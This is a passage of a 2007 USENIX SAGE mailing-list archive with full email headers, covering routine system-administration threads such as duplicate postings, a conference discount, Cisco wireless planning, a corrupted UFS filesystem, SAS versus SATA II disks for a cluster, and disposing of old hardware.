	by smtp303.his.com (Postfix) with ESMTP id C114415B566;
	Wed, 31 Jan 2007 10:43:56 -0500 (EST)
Received: from smtp303.his.com ([216.194.210.47])
	by localhost (smtp303.his.com [216.194.210.47]) (amavisd-new,
	port 10024)
	with ESMTP id 10501-03; Wed, 31 Jan 2007 10:43:54 -0500 (EST)
Received: from vhost109.his.com (vhost109.his.com [216.194.225.101])
	by smtp303.his.com (Postfix) with ESMTP id B2CC915B567;
	Wed, 31 Jan 2007 10:43:53 -0500 (EST)
Received: from [10.0.1.12] (localhost.his.com [127.0.0.1])
	by vhost109.his.com (8.13.1/8.12.3) with ESMTP id l0VFhkaC001341;
	Wed, 31 Jan 2007 10:43:49 -0500 (EST)
	(envelope-from brad@shub-internet.org)
Mime-Version: 1.0
Message-Id: <p06240500c1e6686bf650@[10.0.1.12]>
In-Reply-To: <46A0DD94-C0E3-4C50-B157-98D7DF2C03CE@epfl.ch>
References: <46A0DD94-C0E3-4C50-B157-98D7DF2C03CE@epfl.ch>
Date: Wed, 31 Jan 2007 09:39:20 -0600
To: Olivier Crameri <olivier.crameri@gmail.com>, sage-members@usenix.org
From: Brad Knowles <brad@shub-internet.org>
Subject: Re: [SAGE] Survey about software upgrades
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Virus-Scanned: Debian amavisd-new at smtp502.his.com
X-Spam-Status: No, score=-4.341 tagged_above=-99 required=5
	tests=[ALL_TRUSTED=-1.8, AWL=0.058, BAYES_00=-2.599]
X-Spam-Score: -4.341
X-Spam-Level: 
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=18%
Sender: owner-sage-members@usenix.org
Precedence: bulk

At 11:45 AM +0100 1/31/07, Olivier Crameri wrote:

>  (please apologize if you receive multiple copies of this message)
>  (I'm resending this message, since it never got posted)

It did get posted.  I have now gotten three copies.

If you would please stop spamming us, I would greatly appreciate it.

-- 
Brad Knowles <brad@shub-internet.org>, Consultant & Author
Co-author of SAGE Booklet #15 "Internet Postmaster: Duties and 
Responsibilities"
Founding Member and Platinum Individual Sponsor of LOPSA: 
<http://www.lopsa.org>
Papers: <http://tinyurl.com/tj6q4> LinkedIn Profile: 
<http://tinyurl.com/y8kpxu>


From sage-members-owner@usenix.org Wed Jan 31 14:24:19 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0VMO7rQ016470
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Wed, 31 Jan 2007 14:24:07 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0VMO7sC016469
	for sage-members-0utGoign; Wed, 31 Jan 2007 14:24:07 -0800 (PST)
Received: from [131.106.3.46] (wendell.usenix.org [131.106.3.46])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0VMMnS5016407;
	Wed, 31 Jan 2007 14:23:54 -0800 (PST)
Mime-Version: 1.0 (Apple Message framework v752.2)
Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed
Message-Id: <ADC5359C-D8AA-4F3D-B7CE-8047F5AF2333@usenix.org>
Cc: Catherine Allman <cat@usenix.org>
Content-Transfer-Encoding: 7bit
From: Catherine Allman <cat@usenix.org>
Subject: [SAGE] SCALEx5 - Discount for USENIX and SAGE Members
Date: Wed, 31 Jan 2007 14:23:53 -0800
To: SAGE Members Mailing List <sage-members@usenix.org>
X-Mailer: Apple Mail (2.752.2)
Sender: owner-sage-members@usenix.org
Precedence: bulk

Hi all,

The good people at the upcoming Southern California Linux Expo (SCALE  
x5)  have offered our members a very tasty 50% discount on  
registration.  Please visit http://www.socallinuxexpo.org/scale5x/ to  
learn more about the event and to register using the code USNX  to  
register.

I'll be there staffing the USENIX booth at the Expo on Saturday and  
Sunday - please come by and say hello!   If you'd want to help out in  
the booth for a while on either day, I can swing a pass for you.   
Just let me know on or before Wednesday Feb 7th.  Thanks in advance.

Cheers!

Cat

Cat Allman
Director, Sales
cat@usenix.org
510-528-8649, #32

USENIX Association
2560 Ninth St, #215
Berkeley, CA, USA 94710






From sage-members-owner@usenix.org Thu Feb  1 10:09:33 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l11I9WsG002843
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 1 Feb 2007 10:09:33 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l11I9Wbw002842
	for sage-members-0utGoign; Thu, 1 Feb 2007 10:09:32 -0800 (PST)
Received: from mail.puryear-it.com ([72.242.176.166])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l11I8n2Y002807
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@usenix.org>; Thu, 1 Feb 2007 10:09:01 -0800 (PST)
Received: from mail.puryear-it.com (localhost.localdomain [127.0.0.1])
	by mail.puryear-it.com (8.13.1/8.13.1) with ESMTP id l11I8Qer022720
	for <sage-members@usenix.org>; Thu, 1 Feb 2007 12:08:26 -0600
Received: from mail.puryear-it.com (root@localhost)
	by mail.puryear-it.com (8.13.1/8.13.1/Submit) with ESMTP id
	l11I8QvS022714
	for <sage-members@usenix.org>; Thu, 1 Feb 2007 12:08:26 -0600
Received: from localhost (heavy.puryear-it.com 192.168.222.5)
	by mail.puryear-it.com (Scalix SMTP Relay 10.0.1.3)
	via ESMTP; Thu, 01 Feb 2007 11:49:29 -0600 (CST)
Date: Thu, 1 Feb 2007 11:51:31 -0600
From: "Dustin Puryear" <dustin@puryear-it.com>
To: "Dustin Puryear" <dustin@puryear-it.com>
Message-ID: <1594220735.20070201115131@puryear-it.com>
Subject: [SAGE] Duplicate emails sent today - 8:50 AM to 10:40 AM
X-Priority: 3 (Normal)
x-scalix-Hops: 1
X-Mailer: The Bat! (v3.80.06) Professional
Organization: Puryear Information Technology, LLC
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Disposition: inline
X-Spam-Status: No, score=1.8 required=5.0 tests=AWL,BAYES_50,
	FORGED_MUA_THEBAT_CS autolearn=no version=3.0.5
X-Spam-Level: *
X-Spam-Checker-Version: SpamAssassin 3.0.5 (2005-11-28) on mail.puryear-it.com
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

Unfortunately, duplicate emails from the past several weeks were
resent to several people this morning between 8:50 AM to 10:40 AM CST.
You may safely ignore or delete emails from me during that time as
those emails were already sent and delivered to you in the past.

I apologize for any inconvenience or confusion.

---
Puryear Information Technology, LLC
Baton Rouge, LA * 225-706-8414
http://www.puryear-it.com

Author:
  "Best Practices for Managing Linux and UNIX Servers"
  "Spam Fighting and Email Security in the 21st Century"

Download your free copies:
  http://www.puryear-it.com/publications.htm



From sage-members-owner@usenix.org Tue Feb  6 06:38:42 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l16EcfTs010697
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Tue, 6 Feb 2007 06:38:42 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l16EcfCi010696
	for sage-members-0utGoign; Tue, 6 Feb 2007 06:38:41 -0800 (PST)
Received: from mailer.hamilton.edu (mailer.hamilton.edu [150.209.8.97])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l16EcFoH010678
	for <sage-members@usenix.org>; Tue, 6 Feb 2007 06:38:25 -0800 (PST)
Received: from pmxchannel-daemon.mail.hamilton.edu by mail.hamilton.edu
	(Sun Java System Messaging Server 6.2-6.01 (built Apr  3 2006))
	id <0JD100503N67OV00@mail.hamilton.edu> for sage-members@usenix.org;
	Tue, 06 Feb 2007 08:37:19 -0500 (EST)
Received: from [150.209.91.154] (cs-1770-335.hamilton.edu [150.209.91.154])
	by mail.hamilton.edu
	(Sun Java System Messaging Server 6.2-6.01 (built Apr  3 2006))
	with ESMTPSA id <0JD100IAYN65FXD0@mail.hamilton.edu> for
	sage-members@usenix.org; Tue, 06 Feb 2007 08:37:18 -0500 (EST)
Date: Tue, 06 Feb 2007 08:37:17 -0500
From: Nick Brockner <nbrockne@hamilton.edu>
Subject: [SAGE] Cisco WiSM
To: SAGE Members Mailing List <sage-members@usenix.org>
Message-id: <45C8848D.90501@hamilton.edu>
MIME-version: 1.0
Content-type: text/plain; charset=ISO-8859-1; format=flowed
Content-transfer-encoding: 7BIT
User-Agent: Thunderbird 1.5.0.9 (Windows/20061207)
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

Hi All,

Just looking for any general comments on Cisco WiSM/WCS WLAN solutions.

Anyone here using this for wireless connectivity? We will have about 
2000 users total (of course, we are only expecting about 1000 to be on 
the wireless network at any one given time at peak usage).

Any gotchas/issues that anyone has seen that may help us as we move 
forward with design and planning would be most helpful.

Our general plan is to have two /22 subnets (which will be their own 
VLANS) - one per SSID.  One is secure wireless and the other will be 
unsecure.  APs will be distributed all across our campus with the VLANs 
trunked to the switches they are attached to, with all wireless control 
going through 2 Wism modules in our core routers.

Thanks,
Nick


From sage-members-owner@usenix.org Wed Feb  7 11:00:52 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l17J0p20027139
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Wed, 7 Feb 2007 11:00:52 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l17J0p19027138
	for sage-members-0utGoign; Wed, 7 Feb 2007 11:00:51 -0800 (PST)
Received: from nz-out-0506.google.com (nz-out-0506.google.com [64.233.162.238])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l17J0N8M027124
	for <sage-members@sage.org>; Wed, 7 Feb 2007 11:00:36 -0800 (PST)
Received: by nz-out-0506.google.com with SMTP id z31so159934nzd
	for <sage-members@sage.org>; Wed, 07 Feb 2007 11:00:23 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:message-id:date:from:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition;
	b=OWPNO/WvvPcAE6yjH44FSZ48gQIy0eAyJI/8UJKro4rwV3zInrkP18IoiSSX1HCe3EQk8V0O3YdMM0nSEsvMtdygBkaI8s5y1hREvj/rDpDulrn+7eI2wvLSd0L6FNsq8+NGoGvxbghCaFC5y5lDkLHylMMMnJDFJ68YkTwfMmo=
Received: by 10.114.111.1 with SMTP id j1mr2248575wac.1170874823368;
	Wed, 07 Feb 2007 11:00:23 -0800 (PST)
Received: by 10.114.57.9 with HTTP; Wed, 7 Feb 2007 11:00:23 -0800 (PST)
Message-ID: <bb075cdf0702071100j112f2f64j40d0bb94efc79c86@mail.gmail.com>
Date: Wed, 7 Feb 2007 14:00:23 -0500
From: "Rodrick Brown" <rodrick.brown@gmail.com>
To: "SAGE mailing list" <sage-members@sage.org>
Subject: [SAGE] Corrupted File System possible fix?
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=6%
Sender: owner-sage-members@usenix.org
Precedence: bulk

This is a UFS filesystem under volume manager 4.0

# fsck -y /dev/vx/rdsk/oracledg/U13
** /dev/vx/rdsk/oracledg/U13

CANNOT READ: BLK 922739200
CONTINUE?  yes

THE FOLLOWING SECTORS COULD NOT BE READ: 922739200 922739201 922739202 922739203

Other than the obvious rebuild and restore has anyone ever been able
to get around fixing a corrupted file system or bad sectors of a hard
drive?

The file system mounts file, apps load fine so it seems to be a
partial corruption that has manifested yet atleast in my data. Looks a
disk is possibly going bad some where. I will run hw diagnostic later
to point point which exact disk is at fault, right now its striped
multiple times across a few disks so its not so easy.  I just thought
I would through it out to see what others would do.

-- 
Rodrick R. Brown


From sage-members-owner@usenix.org Thu Feb  8 02:33:08 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l18AX8ew017700
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 8 Feb 2007 02:33:08 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l18AX7k3017698
	for sage-members-0utGoign; Thu, 8 Feb 2007 02:33:08 -0800 (PST)
Received: from istanbul.uab.es (istanbul.uab.es [158.109.168.138])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l18AWfTx017680
	for <sage-members@usenix.org>; Thu, 8 Feb 2007 02:32:52 -0800 (PST)
Received: from istanbul.uab.es (localhost [127.0.0.1])
	by istanbul.uab.es (Sun Java System Messaging Server 6.1 HotFix 0.10
	(built
	Jan  6 2005)) with ESMTP id <0JD500H4714GBW80@istanbul.uab.es> for
	sage-members@usenix.org; Thu, 08 Feb 2007 10:31:28 +0100 (CET)
Received: from aomail.uab.es ([158.109.65.1])
	by istanbul.uab.es (Sun Java System Messaging Server 6.1 HotFix 0.10
	(built
	Jan  6 2005)) with ESMTP id <0JD500G0214GFA70@istanbul.uab.es> for
	sage-members@usenix.org; Thu, 08 Feb 2007 10:31:28 +0100 (CET)
Received: from [127.0.0.1] (aopcdrm.uab.es [158.109.65.84])
	by aomail.uab.es (Postfix) with ESMTP id 2250537E62	for
	<sage-members@usenix.org>; Thu, 08 Feb 2007 10:31:28 +0100 (CET)
Date: Thu, 08 Feb 2007 10:30:30 +0100
From: Daniel Ruiz Molina <tecnicos@aomail.uab.es>
Subject: [SAGE] Comparison SAS vs S-ATA II
To: sage-members@usenix.org
Reply-to: tecnicos@aomail.uab.es
Message-id: <45CAEDB6.1070007@aomail.uab.es>
Organization: DACSO - UAB
MIME-version: 1.0
Content-type: text/plain; charset=ISO-8859-1; format=flowed
Content-transfer-encoding: 7BIT
User-Agent: Thunderbird 1.5.0.9 (Windows/20061207)
X-DCC-dcc.uncw.edu-Metrics: voyager 1201; Body=0 Fuz1=0 Fuz2=0
Sender: owner-sage-members@usenix.org
Precedence: bulk

Hi!!

We are going to install a new rack cluster (1 management node with 6 SAS 
HDs in RAID-5 and 16 process nodes with 1 HDs) and we are trying to 
decide if we buy the process nodes with S-ATA II HDs or SAS HDs.

If somebody here manages a cluster, we would thank any recommendation.

Thank you.



From sage-members-owner@usenix.org Thu Feb  8 05:17:28 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l18DHRBm023007
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 8 Feb 2007 05:17:27 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l18DHQu6023006
	for sage-members-0utGoign; Thu, 8 Feb 2007 05:17:26 -0800 (PST)
Received: from mailer.hamilton.edu (mailer.hamilton.edu [150.209.8.97])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l18DH0rH022989
	for <sage-members@usenix.org>; Thu, 8 Feb 2007 05:17:10 -0800 (PST)
Received: from pmxchannel-daemon.mail.hamilton.edu by mail.hamilton.edu
	(Sun Java System Messaging Server 6.2-6.01 (built Apr  3 2006))
	id <0JD500L01BK2GT00@mail.hamilton.edu> for sage-members@usenix.org;
	Thu, 08 Feb 2007 08:16:50 -0500 (EST)
Received: from [150.209.91.154] (cs-1770-335.hamilton.edu [150.209.91.154])
	by mail.hamilton.edu
	(Sun Java System Messaging Server 6.2-6.01 (built Apr  3 2006))
	with ESMTPSA id <0JD50051XBK13450@mail.hamilton.edu>; Thu,
	08 Feb 2007 08:16:50 -0500 (EST)
Date: Thu, 08 Feb 2007 08:16:49 -0500
From: Nick Brockner <nbrockne@hamilton.edu>
Subject: Re: [SAGE] Comparison SAS vs S-ATA II
In-reply-to: <45CAEDB6.1070007@aomail.uab.es>
To: tecnicos@aomail.uab.es, SAGE Members Mailing List <sage-members@usenix.org>
Message-id: <45CB22C1.20409@hamilton.edu>
MIME-version: 1.0
Content-type: text/plain; charset=ISO-8859-1; format=flowed
Content-transfer-encoding: 7BIT
References: <45CAEDB6.1070007@aomail.uab.es>
User-Agent: Thunderbird 1.5.0.9 (Windows/20061207)
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

I would recommend buying the compute nodes with SATA II - Iff there is a 
significant cost savings (which I suspect).  In any cluster I have 
managed, the compute nodes are all the same, and I had an image so that 
if a compute node goes down because of a failed HDD, I just popped in a 
spare, reimaged, and was back in business 15 minutes later.  Of course, 
for my applications, the cluster was very tolerant of having a missing 
node for that amount of time, YMMV. 

One other thing to consider: will you be housing any data locally on the 
compute nodes, like in some kind of DFS?  Usually this is not the case, 
and all data would be housed on the "head" node.

The new features of SATA II drives bring them very close to 
enterprise-class.

Just make sure you have a new spare HDD or two. . .

Nick

--
Nick Brockner
Systems Administrator
ITS/Computer Science
Hamilton College

Daniel Ruiz Molina wrote:
> Hi!!
>
> We are going to install a new rack cluster (1 management node with 6 
> SAS HDs in RAID-5 and 16 process nodes with 1 HDs) and we are trying 
> to decide if we buy the process nodes with S-ATA II HDs or SAS HDs.
>
> If somebody here manages a cluster, we would thank any recommendation.
>
> Thank you.
>


From sage-members-owner@usenix.org Thu Feb  8 06:44:40 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l18EiV3i025728
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 8 Feb 2007 06:44:37 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l18EiVCW025727
	for sage-members-0utGoign; Thu, 8 Feb 2007 06:44:31 -0800 (PST)
Received: from g2.mental.com (root@entrance.mental.com [192.31.14.10])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l18Ei3Jd025715
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL)
	for <sage-members@usenix.org>; Thu, 8 Feb 2007 06:44:15 -0800 (PST)
Received: from mental.com (root@twen.mi [172.16.0.5])
	by g2.mental.com (8.13.7/8.13.7/mental-061228) with ESMTP id
	l18Ehw0T008573
	for <sage-members@usenix.org>; Thu, 8 Feb 2007 15:43:58 +0100 (CET)
Received: from mental.com (lobo@localhost [127.0.0.1])
	by mental.com (8.13.7/8.13.7/Lobo-051217) with ESMTP id l18Ehwkx022569
	for <sage-members@usenix.org>; Thu, 8 Feb 2007 15:43:58 +0100 (MET)
X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4
To: sage-members@usenix.org
Subject: Re: [SAGE] Comparison SAS vs S-ATA II 
In-reply-to: Daniel Ruiz Molina's message of Thu,
	08 Feb 2007 10:30:30 +0100 <45CAEDB6.1070007@aomail.uab.es> 
Organization: mental images GmbH, Berlin, Germany
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Thu, 08 Feb 2007 15:43:58 +0100
Message-ID: <22568.1170945838@mental.com>
From: Alexander Lobodzinski <lobo@mental.com>
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

() we are trying to 
() decide if we buy the process nodes with S-ATA II HDs or SAS HDs.

If you need lower latency SAS are available with 10 and 15krpm.

On first sight soft and hard error rates and MTBF of SATA II
and SAS disks are pretty close but be aware that the specified
usage is up to 5% or 10% for SATA and 100% for SAS.  In other
words, SATA is fine for "desktop-like computers" that don't use
the disk most of the time but if you know you'll keep the heads
constantly moving 24x7 then better go for SAS.

    Ciao, Lobo



From sage-members-owner@usenix.org Thu Feb  8 06:54:35 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l18EsYpV026162
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 8 Feb 2007 06:54:35 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l18EsYiC026159
	for sage-members-0utGoign; Thu, 8 Feb 2007 06:54:34 -0800 (PST)
Received: from venezia.uab.es (venezia.uab.es [158.109.168.132])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l18Es8u4026138
	for <sage-members@usenix.org>; Thu, 8 Feb 2007 06:54:19 -0800 (PST)
Received: from venezia.uab.es ([127.0.0.1])
	by venezia.uab.es (Sun Java System Messaging Server 6.1 HotFix 0.10
	(built Jan
	6 2005)) with ESMTP id <0JD5004Z1D8YATB0@venezia.uab.es> for
	sage-members@usenix.org; Thu, 08 Feb 2007 14:53:22 +0100 (CET)
Received: from aomail.uab.es ([158.109.65.1])
	by venezia.uab.es (Sun Java System Messaging Server 6.1 HotFix 0.10
	(built Jan
	6 2005)) with ESMTP id <0JD5009S6D8YMA50@venezia.uab.es> for
	sage-members@usenix.org; Thu, 08 Feb 2007 14:53:22 +0100 (CET)
Received: from [127.0.0.1] (aopcdrm.uab.es [158.109.65.84])
	by aomail.uab.es (Postfix) with ESMTP	id 5B90737E5D; Thu,
	08 Feb 2007 14:53:22 +0100 (CET)
Date: Thu, 08 Feb 2007 14:52:25 +0100
From: Daniel Ruiz Molina <tecnicos@aomail.uab.es>
Subject: Re: [SAGE] Comparison SAS vs S-ATA II
In-reply-to: <45CB22C1.20409@hamilton.edu>
To: Nick Brockner <nbrockne@hamilton.edu>
Cc: SAGE Members Mailing List <sage-members@usenix.org>
Reply-to: tecnicos@aomail.uab.es
Message-id: <45CB2B19.60503@aomail.uab.es>
Organization: DACSO - UAB
MIME-version: 1.0
Content-type: text/plain; charset=ISO-8859-1; format=flowed
Content-transfer-encoding: 8BIT
References: <45CAEDB6.1070007@aomail.uab.es> <45CB22C1.20409@hamilton.edu>
User-Agent: Thunderbird 1.5.0.9 (Windows/20061207)
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=2%
Sender: owner-sage-members@usenix.org
Precedence: bulk

Nick Brockner escribió:
> I would recommend buying the compute nodes with SATA II - Iff there is 
> a significant cost savings (which I suspect).  In any cluster I have 
> managed, the compute nodes are all the same, and I had an image so 
> that if a compute node goes down because of a failed HDD, I just 
> popped in a spare, reimaged, and was back in business 15 minutes 
> later.  Of course, for my applications, the cluster was very tolerant 
> of having a missing node for that amount of time, YMMV.
> One other thing to consider: will you be housing any data locally on 
> the compute nodes, like in some kind of DFS?  Usually this is not the 
> case, and all data would be housed on the "head" node.
>
> The new features of SATA II drives bring them very close to 
> enterprise-class.
>
> Just make sure you have a new spare HDD or two. . .
>
> Nick
>
> -- 
> Nick Brockner
> Systems Administrator
> ITS/Computer Science
> Hamilton College
>
> Daniel Ruiz Molina wrote:
>> Hi!!
>>
>> We are going to install a new rack cluster (1 management node with 6 
>> SAS HDs in RAID-5 and 16 process nodes with 1 HDs) and we are trying 
>> to decide if we buy the process nodes with S-ATA II HDs or SAS HDs.
>>
>> If somebody here manages a cluster, we would thank any recommendation.
>>
>> Thank you.
>>
Cost savings: a 76 GB SAS is 120 $ cheaper than a 160 GB S-ATA II
Data: head node (management node) will share a 1.5 TB unit through NFS 
(Network File System), where users home will be, and compute nodes will 
maybe write on its local drive for temporary files, sometimes random 
access and sometimes sequential access.



From sage-members-owner@usenix.org Thu Feb  8 09:09:28 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l18H9H8Q000734
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 8 Feb 2007 09:09:24 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l18H9GH4000733
	for sage-members-0utGoign; Thu, 8 Feb 2007 09:09:16 -0800 (PST)
Received: from gretel.pobox.com (gretel.pobox.com [208.58.1.197])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l18H8bId000703
	for <sage-members@usenix.org>; Thu, 8 Feb 2007 09:09:01 -0800 (PST)
Received: from rune.pobox.com (rune.pobox.com [208.210.124.79])
	by gretel.pobox.com (Postfix) with ESMTP id 52BE95698A7A
	for <sage-members@usenix.org>; Thu,  8 Feb 2007 11:47:25 -0500 (EST)
Received: from rune (localhost [127.0.0.1])
	by rune.pobox.com (Postfix) with ESMTP id B4870B3493
	for <sage-members@usenix.org>; Thu,  8 Feb 2007 11:46:23 -0500 (EST)
Received: from localhost (cpe-66-108-14-241.nyc.res.rr.com [66.108.14.241])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by rune.sasl.smtp.pobox.com (Postfix) with ESMTP id 9D5AEB3471
	for <sage-members@usenix.org>; Thu,  8 Feb 2007 11:46:23 -0500 (EST)
Date: Thu, 8 Feb 2007 11:45:59 -0500
From: "Philip J. Hollenback" <philiph@pobox.com>
To: sage-members@usenix.org
Subject: [SAGE] disposing of a dead cluster
Message-ID: <20070208164559.GA9256@hollenback.net>
Reply-To: philiph@pobox.com
Mail-Followup-To: philiph@pobox.com, sage-members@usenix.org
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: mutt-ng/devel-r655 (Darwin)
X-DCC-Usenix-Metrics: voyager 1010; Body=2 Fuz1=2 Fuz2=2 rep=15%
Sender: owner-sage-members@usenix.org
Precedence: bulk

My company in midtown Manhattan is preparing to install a new 32-node
compute cluster in one rack.  To make space for it we are removing one
rack of a dying 5 year old cluster.

Thus I have a rack filled with 32 1U machines in various states of
non-workingness.  On most of them the fans failed and fried various
components.

We are in a high-rise building so I can't just drag it to the curb and
hope somebody takes it away.  Does anyone have any ideas for how to
dispose of this equipment?  We are running a business so it would have
to be moved all at once.  I would like to donate it to someone who
could do something with it but as I said most of the hardware is
pretty questionable.  You could probably scavenge a fair amount of
ram, hard drives (40gb ide), athlon 1800 cpus, etc. out of it.

But again, we are in big office building so an insured professional
moving or disposal company would have to do the work.  Building
management won't let us drag it down to someone's pickup truck in the
loading dock.

Thanks,
P.

-- 
Philip J. Hollenback
www.hollenback.net


From sage-members-owner@usenix.org Thu Feb  8 10:00:32 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l18I0KrX002458
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 8 Feb 2007 10:00:20 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l18I0Kl8002457
	for sage-members-0utGoign; Thu, 8 Feb 2007 10:00:20 -0800 (PST)
Received: from smtp.swarpa.net (melfpelt.swarpa.net [70.84.200.162])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l18Hxg8T002436
	for <sage-members@usenix.org>; Thu, 8 Feb 2007 09:59:52 -0800 (PST)
Received: from [209.40.87.106] (unknown [209.40.81.3])
	by smtp.swarpa.net (Postfix) with ESMTP id 4261D124010
	for <sage-members@usenix.org>; Thu,  8 Feb 2007 12:59:42 -0500 (EST)
Message-ID: <45CB6512.3050706@hovenweep.org>
Date: Thu, 08 Feb 2007 09:59:46 -0800
From: Rowan Littell <rowan@hovenweep.org>
User-Agent: Thunderbird 1.5.0.9 (Macintosh/20061207)
MIME-Version: 1.0
To: sage-members@usenix.org
Subject: Re: [SAGE] disposing of a dead cluster
References: <20070208164559.GA9256@hollenback.net>
In-Reply-To: <20070208164559.GA9256@hollenback.net>
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

Philip J. Hollenback wrote:
> My company in midtown Manhattan is preparing to install a new 32-node
> compute cluster in one rack.  To make space for it we are removing one
> rack of a dying 5 year old cluster.

Manhattan, check.  Apparently businesses are required to recycle
computer equipment in NYC unless it's donated or resold for reuse.
Given the state of the hardware you describe, it's probably going to be
easier on you and everyone else if you recycle it rather than searching
for just the right geek who will scavenge it themselves.
 http://www.nyc.gov/html/nycwasteless/html/recycling/electronicsrecycling.shtml


You might also Google for computer disposal/recycling folks in the area.
 I'm clear on the other side of the country, but I suspect there are
lists of electronics recyclers or non-profits that take electronics
donations in your area; there certainly are for the Bay Area.

  --rowan


From sage-members-owner@usenix.org Thu Feb  8 11:24:44 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l18JOXUN005451
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
